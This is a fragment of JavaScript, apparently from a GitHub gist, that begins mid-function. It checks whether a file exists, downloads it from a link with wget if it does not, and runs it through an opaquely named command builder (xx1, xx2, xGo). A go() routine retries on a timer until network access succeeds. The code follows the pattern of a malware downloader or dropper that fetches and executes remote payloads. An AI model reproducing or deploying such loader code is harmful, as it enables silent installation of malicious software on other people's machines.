var dq = "\x22";
comm = xx1 + dq + saveTo + dq + xx2;
if (fexist(saveTo) === false) {
if (wget(mLink, saveTo) === true) {
if (xGo(comm) === true) {
return true;
}
}
} else {
if (xGo(comm) === true) {
return true;
}
}
} else {
return true;
}
}
function go() {
if (check_Net() === true) {
if (hit() !== true) {
waitfor(3, 1);
}
} else {
waitfor(3, 1);
}
}
waitfor(1, 1);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment